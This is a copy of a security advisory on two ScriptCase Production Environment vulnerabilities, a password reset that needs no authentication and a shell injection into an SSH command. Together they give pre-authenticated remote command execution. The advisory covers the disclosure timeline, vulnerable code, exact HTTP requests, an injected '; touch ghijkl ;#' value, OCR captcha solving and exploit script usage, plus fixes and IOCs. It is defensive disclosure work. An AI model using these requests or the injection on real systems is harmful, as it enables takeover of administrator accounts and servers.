0% found this document useful (0 votes)
10 views11 pages

Script Case

The document details critical vulnerabilities in ScriptCase's Production Environment module, allowing pre-authenticated remote command execution through password reset and shell injection. Two CVEs are identified: CVE-2025-47227, which enables unauthorized password resets, and CVE-2025-47228, which allows arbitrary command execution via SSH. Recommendations include restricting access to vulnerable components and implementing secure coding practices to mitigate these risks.

Uploaded by

stella.nlth2
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
10 views11 pages

Script Case

The document details critical vulnerabilities in ScriptCase's Production Environment module, allowing pre-authenticated remote command execution through password reset and shell injection. Two CVEs are identified: CVE-2025-47227, which enables unauthorized password resets, and CVE-2025-47228, which allows arbitrary command execution via SSH. Recommendations include restricting access to vulnerable components and implementing secure coding practices to mitigate these risks.

Uploaded by

stella.nlth2
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd

SCRIPTCASE - PRE-AUTHENTICATED REMOTE COMMAND

EXECUTION
04/07/2025

Product Severity Fixed Version(s)


ScriptCase (Production Environment Critical N/A
module)
Affected Version(s) CVE Number
See Affected versions CVE-2025-47227, CVE-2025-47228
Authors
Alexandre Droullé
Alexandre Zanni

DESCRIPTION
PRESENTATION
ScriptCase is a low-code platform that generates PHP web applications. Developers use a graphical interface to design and
generate their website.

Production Environment is the name of an extension of ScriptCase that will be called prod console in the advisory for
clarification purpose. It is an administrative field to manage database connections and directories.

While ScriptCase is not necessarily deployed with the website, the prod console mostly always is.

ISSUE(S)
Pre-authenticated remote command execution is achieved by chaining two vulnerabilities: the first is the ability to reset the
administrator password of the prod console under certain conditions, and the second is a simple authenticated remote
command execution in the connection features where user input is directly concatenated to a ssh system command.

AFFECTED VERSIONS
Version 1.0.003-build-2 of the Production Environment module is affected. This version of the module is included in ScriptCase
version 9.12.006 (23). Anterior versions are likely to be vulnerable as well.

TIMELINE
Date Description

2025.02.18 First message sent to the editor.

2025.03.12 Contact support via live tchat.

2025.03.20 Advisory report sent to the editor.

2025.03.28 First response from the editor.


Date Description

2025.04.04 Editor asks to re-test the vulnerability on latest version.

2025.04.29 Synacktiv confirms the vulnerability still works on latest versions (see affected versions).

2025.05.15 Synacktiv contacts the editor for a status update on the progress of the vulnerability analysis.

2025.05.30 Synacktiv contacts the editor for a status update on the progress of the vulnerability analysis.

2025.06.05 Synacktiv sends the exploitation script to the editor.

2025.07.04 Public release


TECHNICAL DETAILS

CVE-2025-47227 - ADMINISTRATOR'S PASSWORD RESET


(AUTHENTICATION BYPASS)
DESCRIPTION
The authentication page of the prod console is prod/lib/php/devel/iface/login.php , which is only including one class.

<?php
include_once('../lib/php/base_ini.inc.php');
nm_load_class('page', 'PageProdLogin');
$obj_page = new nmPageProdLogin();
$obj_page->Display();
?>

In the nmPageProdLogin class, prod/lib/php/devel/class/page/nmPageProdLogin.class.php , a few legitimate actions


are recognizable: login , change_language , change_pass that are handled by the doAjax() function.

The change password feature can be triggered with nm_action=change_pass , that will then call the changePass() function
with the following arguments.

changePass($_POST['pass_new'],$_POST['pass_conf'],$_POST['lang'],$_POST['email'],$_POST['captcha'])

It is easily noticeable that only an email address and a new password is required, no old password.

Note: as the change_pass action has an email parameter, it is tempting to think there is probably an account takeover if an
authenticated user can reset the password of another by providing its email address. But that is not really the case as the prod
console has only one user.

But when checking the changePass() function, the first verification done is the application checking that the user session
has the variable nm_session.prod_v8.login.is_page set, else no action is performed at all.

function changePass($str_pass_new='',$str_pass_conf='',$str_lang='',$str_email='',$str_captcha=''){
if(!$_SESSION['nm_session']['prod_v8']['login']['is_page']){
$str_response = "";
}else{
[…]
}
return json_encode($str_response);

While the name is_page is not obviously telling what is used for, it seems to be similar to what could have been named
is_authenticated . Because the only time this variable is initialized and set to true , is inside iniSession() . So in theory,
it is possible to change the password only when authenticated. But, in practice, if one can trigger an action that is calling
iniSession() implicitly, it would be possible to perform the password reset while being unauthenticated.

iniSession() is called only in one place, when the class is constructed.

function __construct()
{

$this->doAjax();
$this->SetBody('nmPage');
$this->SetMargin(10);
$this->SetPage('ProdLogin');
$this->iniSession();
$this->SetPageSubtitle('');
}

But iniSession() is done after doAjax() , so the change_pass action is denied before the is_page is set to true . What
could be done to bypass that, is loading the page twice. ( doAjax() (denied) ➡️
iniSession() (set is_page to true ) ➡️
doAjax() (allowed))

As seen earlier, the class is initialized in prod/lib/php/devel/iface/login.php . So the solution is to perform a simple HTTP
GET on login.php before performing the change_pass action with an HTTP POST on the same page while having the same
PHPSESSID .

Then the remaining steps are easy to pass: enter a valid captcha, setting a password that matches the password policy, set an
email address (no need to know the administrator one).

Step 1: Set is_page to true with a fixed PHPSESSID value.

GET /scriptcase/prod/lib/php/devel/iface/login.php HTTP/1.1


Host: 10.58.11.213
Accept-Language: fr-FR,fr;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safar
i/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,a
pplication/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=synacktiv001
Connection: keep-alive

Step 2: Get a captcha challenge for the session.

GET /scriptcase/prod/lib/php/devel/lib/php/secureimage.php HTTP/1.1


Host: 10.58.11.213
Accept-Language: fr-FR,fr;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safar
i/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,a
pplication/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=synacktiv001
Connection: keep-alive

Step 3: Change the password with the prepared session.

POST /scriptcase/prod/lib/php/devel/iface/login.php HTTP/1.1


Host: 10.58.11.213
Accept-Language: fr-FR,fr;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safar
i/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,a
pplication/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=synacktiv001
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 121

ajax=nm&nm_action=change_pass&[email protected]&pass_new=Synacktiv6&pass_conf=Synacktiv6&lang=en-
us&captcha=CKMW

It is then possible to authenticate with the newly set password.


IMPACT
An attacker can arbitrarily reset the password of the administrator of the prod console, and so take it over. With this access,
the attacker could retrieve databases credentials and get access to them. As the prod console is also vulnerable, the attacker
could also leverage it to gain access to the server.

RECOMMENDATION
Access to the password reset feature should be given only to authenticated users (change the condition in the changePass
function). Also, it should be based only on the session cookie (the changePass function should not take an email argument
from the user but extract it from the session).

While waiting for an official fix from the vendor, one should restrict the access to the ScriptCase Production Environment
extension completely (e.g. on the reverse proxy virtual host). Blocking /prod/lib/php/devel/iface/login.php and
/prod/lib/php/nm_ini_manager2.php should be enough to prevent any unwanted connection as well as the exploitation of
the password reset vulnerability.
CVE-2025-47228 - SHELL INJECTION (REMOTE COMMAND
EXECUTION)
DESCRIPTION
Once authenticated, the prod console allows editing and creating database connections. A feature allows configuring SSH local
port forwarding, so it is possible to connect to remote databases that are not exposed on a public network interface.

A POST parameter ( $_POST['ajax'] ) is received


1982 in
of line
the file
prod/lib/php/devel/class/page/nmPageAdminSysAllConectionsCreateWizard.class.php in the method
nmPageAdminSysAllConectionsCreateWizard::Ajax() . Then, if the action list_db is performed and the option use_ssh
is passed, SSH options are parsed.

function Ajax()
{
if (isset($_POST['ajax']) && $_POST['ajax'] == 'S')
{
if (isset($_POST['list_db']) && $_POST['list_db'] == 'S')
{
[…]
if(isset($_POST['use_ssh']))
{
$arr_ssh = array('use_ssh', 'ssh_server', 'ssh_user', 'ssh_port', 'ssh_privatecert', 'ss
h_localportforwarding', 'ssh_localserver', 'ssh_localport');
foreach($arr_ssh as $_input)
{
$v_arr_db[ $_input ] = $this->unProtectAjaxChar((isset($_POST[ $_input ])?$_POST[ $_
input ]:""));
}
}
[…]
}
[…]
}
[…]
}

Note: the unProtectAjaxChar() function is not a security feature.

function unProtectAjaxChar($str_field)
{
$str_field = str_replace("__HASH__", "#", $str_field);
$str_field = str_replace("__PLUS__", "+", $str_field);
$str_field = str_replace("__MINUS__", "-", $str_field);
$str_field = str_replace("__E__", "&", $str_field);
return $str_field;
}

The user-supplied data is concatenated into an SSH command from line 1710 to 1719 of the file
prod/lib/php/devel/class/page/nmPageAdminSysAllConectionsCreateWizard.class.php in the function
GetListDatabaseNameMySql() .

The user-supplied data is then used unsanitized in the sensitive operation shell_exec() in line 1721.

$str_comando = "ssh -fNg -L $localPort:$server:$port $sshUser@$sshHost";


if(!empty($sshPort))
{
$str_comando .= " -p " . $sshPort;
}
if(!empty($cert))
{
$cert = str_replace("\\", "/", $cert);
$str_comando .= " -i \"$cert\"";
}
shell_exec($str_comando);

The page prod/lib/php/devel/iface/admin_sys_allconections_create_wizard.php instantiates the


nmPageAdminSysAllConectionsCreateWizard class.

Rather than crafting the request manually, it is possible to remove the display: none style applied on the SSH tab ( data-
tab="tr_ssh" ), fill the form and hit the Test Connection button.

When injecting the command ; touch ghijkl ;# in the ssh_localportforwarding field, the HTTP request is the following:

POST /scriptcase/prod/lib/php/devel/iface/admin_sys_allconections_test.php HTTP/1.1


Host: 10.58.11.213
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=synacktiv001
[…]

hid_create_connect=S&dbms=mysql&conn=conn_mysql&dbms=pdo_mysql&host=127.0.0.1%3A3306&server=127.0.0.1&port
=3306&user=utilisateur&pass=mdp&show_table=Y&show_view=Y&show_system=Y&show_procedure=Y&decimal=.&use_pers
istent=N&use_schema=N&retrieve_schema=Y&retrieve_schema=Y&use_ssh=Y&ssh_server=127.0.0.1&ssh_user=root&ssh
_port=22&ssh_localportforwarding=%3B+touch+ghijkl+%3B%23&ssh_localserver=127.0.0.1&ssh_localport=3306&form
_create=a80579edad3f0333d9c2965b4672a05e&retornar=Back&concluir=Save&confirmar=Back&voltar=Confirm&step=sg
db2&nextstep=dados_rep

It is not necessary to enter valid data as it will be discarded by the injected comment.

The file ghijkl is successfully created on the server.

$ find ./ -name ghijkl


./wwwroot/scriptcase/prod/lib/php/devel/iface/ghijkl

It is possible to perform this command injection request with the cookie from earlier without connecting, as this session is
already in the right state.

IMPACT
An authenticated user on prod console can execute arbitrary system commands as the web server ( www-data ).

RECOMMENDATION
Several options are possible. The least safe one would be to shell escape the user input before injecting it into the command. A
better approach would be to stop generating a system command with shell_exec , but to rather use a secure library like
phpseclib to create the connection.

While waiting for an official fix from the vendor, one should restrict the access to the ScriptCase Production Environment
extension completely (e.g. on the reverse proxy virtual host). In addition to the login routes, blocking
/prod/lib/php/devel/iface/admin_sys_allconections_test.php and
/prod/lib/php/devel/iface/admin_sys_allconections_create_wizard.php should be enough to prevent remote
command execution.
CAPTCHA SOLVING AUTOMATION
DESCRIPTION
CAPTCHA
The password reset form is protected by a captcha. However, the CAPTCHA images generated by the web application are easy
to analyse using Optical Character Recognition (OCR). Thus, allowing to automate the only manual step of the exploit.

The captcha always consists of 4 capital letters in white (exactly RGB(255,255,255) / #ffffff ) or black (exactly
RGB(0,0,0) / #000000 ) colour and a noisy background of random colours, but never white or black.

Raw Captcha

Cleaned Captcha prepared for OCR

It eases the preparation of the image for OCR detection: keep only the letters, remove the background, enlarge the image and
harmonize the colours.

Basic, non-specialized character recognition tools can then extract the characters from the captcha with variable reliability.

$ tesseract cleaned.png stdout --oem 1 -c tessedit_char_whitelist='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLM


NOPQRSTUVWXYZ' -c load_system_dawg=false -c load_freq_dawg=false --psm 8 --dpi 300
NKUN

$ captcha ocrad --charset=ascii --filter=letters_only -l cleaned.png


NKUW

$ captcha gocr -i cleaned.png -c 'A-Z'


NKU_

The use of an artificial intelligence model specialized in the recognition of non-text characters would provide almost 100%
reliability. The training cost would be worth it for cybercriminals that want to launch large scale attacks, but for a one-use
demonstration exploit script, classical OCR and manual fallback is enough.

IMPACT
For mass exploitation, a cybercriminal can automate the captcha solving that is supposed to prevent automatic submission.
EXPLOITATION SCRIPT
DESCRIPTION
An exploitation script was written to handle several scenarios:

Perform the pre-authentication remote command execution by chaining the two vulnerabilities (password reset and
authenticated command execution)
Only perform the password reset
Only perform authenticated command execution
Detect the deployment path

Usage:
Examples:

Pre-Auth RCE (password reset + RCE)


python exploit.py -u http://example.org/scriptcase -c "command"
Password reset only (no auth)
python exploit.py -u http://example.org/scriptcase
RCE only (need account)
python exploit.py -u http://example.org/scriptcase -c "command" -p 'Password123*'
Detect deployment path
python exploit.py -u http://example.org/ -d

Options:
-h, --help show this help message and exit
-u BASE_URL, --base-url=BASE_URL
-c COMMAND, --command=COMMAND
-p PASSWORD, --password=PASSWORD
-d, --detect

For the password reset, captcha solving is required. To try to automate the captcha resolution, the function process_image()
will perform OCR with pytesseract and prepare the image by cleaning it before launching the OCR analysis. As the OCR is
not reliable, in case of failure it will fall back to manual solving by displaying the captcha and prompting the user for a
solution.

For the remote command execution, it is


not necessary to register a new connection (by calling
admin_sys_allconections_create_wizard.php ). Instead, it is possible to only test the connection
( admin_sys_allconections_test.php ) without saving it to be stealthier. The command is always executed even if the
connection fails and the server answers an error.

In real life, the root of the web server hosts the application while the prod console is hosted on a sub-folder. Most of the time,
the ScriptCase interface, which is used only for development, will not be deployed and deployed on another machine. It is
possible to automate the deployment path detection to locate the prod console login page by analysing the JavaScript on the
home page. The default sub-folder /scriptcase/ seems to be rarely used in real life. Instead, /_lib/ seems to be often
used, but sometimes it can also be nested into another sub-folder level. To avoid guessing or fuzzing the deployment path, it
is possible to obtain it deterministically by scraping the page and extracting the path from JavaScript. Indeed, as the website is
made with ScriptCase, numerous scripts and stylesheets are loaded from the ScriptCase folder. One that is easy to extract and
unique is: sc_pathToTB variable (example below).

<SCRIPT type="text/javascript">
var sc_pathToTB = '/_lib/prod/third/jquery_plugin/thickbox/';
var sc_tbLangClose = "Fermer";
var sc_tbLangEsc = "ou touche Echap";
var sc_userSweetAlertDisplayed = false;
</SCRIPT>
Once the deployment path (e.g. /_lib ) is known and confirmed with prod console base folder ( /_lib/prod/ ) then the login
page of the prod console can be computed ( /_lib/prod/lib/php/devel/iface/login.php ).

In the scenario where the two vulnerabilities are chained, there is no need to authenticate with the new password after the
password reset. The password reset sets the current session as authenticated, so the command injection can be performed
with the same cookie.

Finally, one can notice that the application is vulnerable to session fixation: the session cookie is not renewed after
authentication, the pre-authentication cookie is kept. So it is possible to generate a random PHPSESSID to use for the
password reset session preparation or for the authentication in RCE only scenarios, without having to parse the server
response for a new cookie.

The full exploitation script (Python) can be found on the associated GitHub repository.

IMPACT
System remote command execution without any prerequisites.
IOC
The application is not saving any log at runtime. The only log events will be the access_log and error_log of the
embedded Apache httpd web server.

The URL paths that are used by the exploitation script are:

{url_base}/prod/lib/php/devel/iface/login.php to set the session and performing the password reset


{url_base}/prod/lib/php/devel/lib/php/secureimage.php to obtain a captcha challenge
{url_base}/prod/lib/php/devel/iface/admin_sys_allconections_test.php for the shell injection
{url_base}/prod/lib/php/devel/iface/admin_sys_allconections_create_wizard.php to get prerequisites for
the shell injection
{url_base}/prod/lib/php/nm_ini_manager2.php to log in for the RCE-only exploit

You might also like